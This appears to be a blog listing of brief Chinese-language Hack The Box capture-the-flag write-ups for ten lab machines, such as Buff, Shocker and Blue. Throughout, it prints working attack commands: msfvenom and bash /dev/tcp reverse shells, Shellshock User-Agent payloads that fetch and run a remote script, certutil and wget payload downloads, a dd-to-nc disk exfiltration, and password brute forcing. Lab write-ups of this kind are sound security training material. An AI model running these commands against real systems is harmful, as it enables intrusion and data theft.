Buff (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/263 IP : 10.129.2.18 Recon 掃 Port掃目錄- /Readme.md觀察首頁- SQL 檔案 找到專案 Project- https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/ 預設密碼,登入失敗試用 Exploit- 準備另外一個 reverse shell- 確認 Systeminfo- 取 Userflag- 提權 確認 Defender 有開產 Shell- msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw > shell.php powershell -c "wget http://10.10.16.35/shell.php -outFile shell.php"亂逛系統- 觀察開的 Port- netstat -ano -p tcp 觀察執行中的 Process- tasklist 發現 Downloads 資料夾有 CloudMe_1122.exe- 觀察開的 Port- 8888 但他只綁 127.0.0.1 Exploit 本地端執行./chisel server -p 9999 --reverse遠端執行- chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888 把 Port 轉回 127.0.0.1:8888收封包- 使用 Exploit- https://www.exploit-db.com/exploits/48389修改 shell code- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python 收 Reverse shell- 取得 Root flag-

2021-09-23 · 1 分鐘 · steven

Armageddon (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/323 IP : 10.129.216.90 Recon nmapAutomator.sh -H 10.129.216.90 -t recon80 22 Exploit https://github.com/pimps/CVE-2018-7600 Webshell python3 drupa7-CVE-2018-7600.py http://10.129.216.90/ -c "echo ' s.php " 確認電腦裡有 curl下載 reverse shell- curl http://10.10.16.35/s_HTB -o s 但發現戳不回來傳 b374k- http://10.129.216.90/s.php?A=curl%20http://10.10.16.35/b374k.php%20-o%20s.php 戳 reverse shell 發現權限不足Try msf shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1 給權限- 還是沒權限試試看如果連 80 port- bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1' 成功 提權 收 Reverse shell載豌豆- 發現一些密碼- drupal-6.user-password-token.database.php spawn- perl -e 'exec "/bin/bash";'dump mysql- mysqldump -u drupaluser -h localhost -p drupal > a.sql找到一組 hash- 確認使用者名稱- 爆破 hash- hashcat -m 7900 hash.txt /opt/rockyou.txt 取得帳密- brucetherealadmin booboo切換使用者- 提權 直接用 SSH 登入 發現可以用 sudo snap本地- gem install fpm https://gtfobins.github.io/gtfobins/snap/#sudo照做提權- COMMAND="bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1'" cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta 傳上去收 Reverse shell- 取得 Root-

2021-09-23 · 1 分鐘 · steven

Shocker (Hack The Box Writeup)

IP : 10.129.213.104 URL : https://app.hackthebox.eu/machines/108 Recon Rustscannmap- 觀察首頁- 通靈掃到目錄 /cgi-bin/user.sh- Shell shock 在 User agent 增加() { :;}; echo; /usr/bin/id User-Agent: () { :;}; echo; /usr/bin/wget 10.10.16.35:8000/s_HTB /tmp/s- 下載 shell 執行 shell- User-Agent: () { :;}; echo; /usr/bin/wget -O - 10.10.16.35:8000/s_HTB | /bin/bash Reverse shell 收 shellSpawn shell- python3 -c 'import pty; pty.spawn("/bin/bash")'Get user flag- 6e9aad0e2498bff702b570c2da380288 提權 跑豌豆可以執行 perl- sudo perl -e 'exec "/bin/sh";'取得 Root Flag- e3e05cbd925c9e407215bb26e9b7e47d

2021-09-15 · 1 分鐘 · steven

Nibbles (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/121 IP : 10.129.214.27 Recon Rustscan觀察首頁- Apache 找到隱藏目錄 /nibbleblog/看起來是一個 CMS- 搜尋 Exploit- 看起來 4.0.3 版本有洞 有帳密就可以傳東西 https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py繼續掃目錄- http://10.129.214.27/nibbleblog/admin/ 登入頁面- install- updateGoogle 到預設密碼- admin / nibbles 這邊有點通靈 QQ Exploit 用 MSFmsf multi/http/nibbleblog_file_upload``spawn shell- python3 -c 'import pty; pty.spawn("/bin/bash")'取得 User flag- 提權 起手式可以執行 monitor.sh直接用/bin/bash蓋掉- sudo 執行- 取得 Root取得 Root Flag- 4c0ebef2dfb32a8d33212e1a902f50f2

2021-09-15 · 1 分鐘 · steven

Mirai (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/64 IP : 10.129.214.20 Recon http://10.129.214.20/首頁是空ㄉ Rustscan- nmap- nmap -A -p22,53,80,2000,32400,32469 10.129.214.20dirsearch 掃目錄- 32400 Port 跑了一個 PLEX- Pi-Hole 在 :80/admin- https://www.exploit-db.com/exploits/48442需要密碼才能 RCEdnsmasq Exploit https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py 爆破密碼 hydra -l '' -P /opt/wordlists/rockyou.txt 10.129.214.20 http-post-form "/admin/index.php?login:pw=^PASS^:Forgot password" 跑了很久都沒有,應該不是 QQ Exploit 看到 Pi-Hole 又有 PLEX 影音伺服器猜他是樹梅派所以 pi 預設帳密- pi / raspberrySSH- 好無聊 = =取得 User Flag- ff837707441b257a20e32199d7c8838d 提權 起手式 sudo -l 發現可以直接變 root 數位鑑識 取 root flag 搞事ㄛ = =確認外接裝置- 到隨身碟裡找東西- 詹姆斯在搞ㄛ = =直接暴力解- strings 硬碟 3d3e483143ff12ec505d026fa13e020b暴力解也可以傳回本地處理- 本地監聽 nc -l 1234 > usbstick.dump 遠端用 dd 把資料丟出來sudo dd if=/dev/sdb | nc -w3 10.10.16.35 1234 嘗試失敗的方法 (Testdisk) 使用 Testdisk 還原https://blog.gtwang.org/linux/testdisk-linux-recover-deleted-files/用 scp 傳過去- 解壓縮- 用 sudo 執行- 選定硬碟 sdb- 預設沒有分割區- 選擇格式- 找到刪除的 root.txt- 選到 root.txt 按 C 選存檔位置- 但這樣出來的檔案是空的 QQ

2021-09-15 · 1 分鐘 · steven

Jerry (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/144 IP :10.129.1.110 Scan 掃 Portrustscan -a 10.129.1.110 -r 1-65535 發現有開8080 Brute Force 嘗試 msf 爆破auxiliary/scanner/http/tomcat_mgr_login 發現密碼是 tomcat:s3cret Wordlist- /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt 進入 Manager APP 發現不登入直接按 Manager App 就可以進後台ㄌ= = Web shell 準備 jsp web shellhttps://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jspjar -cvf cmd.war cmd.jsp- 上傳 webshell- 執行 webshell- 發現本來就是 system 權限確認系統資料- 64 bit Reverse shell 準備 Reverse shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe > shell.exe下載 reverse shell- certutil -urlcache -f http://10.10.16.35/shell.exe shell8787.exe 執行 Reverse shell- 取得 Flag-

2021-09-15 · 1 分鐘 · steven

Grandpa (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/13 IP : 10.129.2.85 Recon Rustscan 開 80 portnmap- 發現是 IIS6 可以用 CVE-2017-7269 RCE https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269 Exploit 執行 Exploit開 nc 收 shell- 跑 systeminfo- 發現 Windows 2003 可以跑 Churrasco- https://github.com/Re4son/Churrasco用 impacket-smbserver meow . 開- 執行 Churrasco提權完畢- 取得 User Flag- bdff5ec67c3cff017f2bedc146a5d869取得 Root Flag- 9359e905a2c35f861f6a57cecf28bb7b

2021-09-15 · 1 分鐘 · steven

Granny (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/14 IP : 10.129.2.63 Recon 觀察首頁 IIS 6nmap 掃 port- nmap -A -p80 10.129.2.63 掃目錄- 發現一些奇怪的 dll- http://10.129.2.63/_vti_inf.html FPAuthorScriptUrl="_vti_bin/_vti_aut/author.dll" FPAdminScriptUrl="_vti_bin/_vti_adm/admin.dll" TPScriptUrl="_vti_bin/owssvr.dll" Exploit https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269![](/uploads/2022/02/d60bd-EOeoMgt.png)nc 收 shell- 確認使用者- systeminfo- 送 windows-exploit-suggester.py- 測 CVE-2015-1701- https://github.com/hfiref0x/CVE-2015-1701 certutil -urlcache -f http://10.10.16.35/Taihou32.exe Taihou32.exe impacket-smbserver meow . copy \\10.10.16.35\meow\Taihou32.exe Taihou32.exe shell 卡住不能用 QQQ 提權 準備 shellmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f dll > s.dll rundll32 s.dll``churrasco- churrasco.exe -d “shellx86.exe"nc 收 shell- User flag- 700c5dc163014e22b3e408f8703f67d1Root Flag- aa4beed1c0584445ab463a6747bd06e9 學到ㄌ smb 傳檔案 盡量 webshell QQ

2021-09-15 · 1 分鐘 · steven

Blue (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/51 IP : 10.129.209.90 Recon Rustscannmap- nmap -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.129.209.90系統版本- Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)smb- nmapAutomator- Exploit https://github.com/helviojunior/MS17-010修改 send_and_execute.py 裡面的 username等於 guestMSF 準備 shell- msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe -o shellx64.exe其實這邊用 x86 也可以執行 Exploit- python send_and_execute.py 10.129.216.62 ../shellx64.exe nc 收 shell- MSF Exploit use windows/smb/ms17_010_eternalblue options set RHOSTS 10.129.216.62 set LHOST 10.10.16.35 runGet Root Key- ff548eb71e920ff6c08843ce9df4e717 Get User Key- 4c546aea7dbee75cbd71de245c8deea9

2021-09-15 · 1 分鐘 · steven

Blocky (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/48 IP : 10.129.1.53 Recon RustscanNmap- 觀察首頁- 看起來是 Wordpress掃目錄- https://www.exploit-db.com/exploits/46676 phpmyadmin pluginsPHPmyadmin- Version 4.5.4.1 有 Exploithttps://www.exploit-db.com/exploits/40185要帳密繼續觀察- 他有一個 Wiki 其實剛剛 dirsearch 就有看到 Wordpress 觀察 Wordpress 使用者http://10.129.1.53/index.php/?author=1 notch 嘗試登入 /wp-admin- 觀察目錄 /plugins- plugins 裡面有兩個檔案 感覺 BlockyCore.jar 是它們自己寫的 Reverse 用 r2 觀察算ㄌ還是不要裝逼,乖乖用 jd-gui 笑死- 找到 db 帳密- root 8YsqfCTnvxAUeduzjNSXe22 PHP My admin 用帳密登入後找到 Wordpress 使用者頁面 備份原本使用者的 hash 以備不時之需 $P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/把 hash 修改成 12345 的 md5- 827ccb0eea8a706c4c34a16891f84e7b 登入 Wordpress 用帳號 notch 密碼 12345 登入在 plugin 中增加 php web shell- 確認 webshell 可用- 下載 reverse shell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=wget%2010.10.16.35:8000/s_HTB執行 webshell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=bash%20s_HTB Reverse shell spawn shellpython3 -c 'import pty; pty.spawn("/bin/bash")' 提權 跑 Linpeas 發現可以 Kernel Exploit https://github.com/rlarabee/exploits/tree/master/cve-2017-16995編譯並丟過去- https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c 取得 Flag- User 59fee0977fb60b8a0bc6e41e751f3cd5Root- 0a9694a5b4d272c694679f7860f1cd5f看了一下正規解- 貌似可以直接用 SQL 密碼 SSH 登入 然後 sudo su 就結束ㄌ ㄏㄏ

2021-09-15 · 1 分鐘 · steven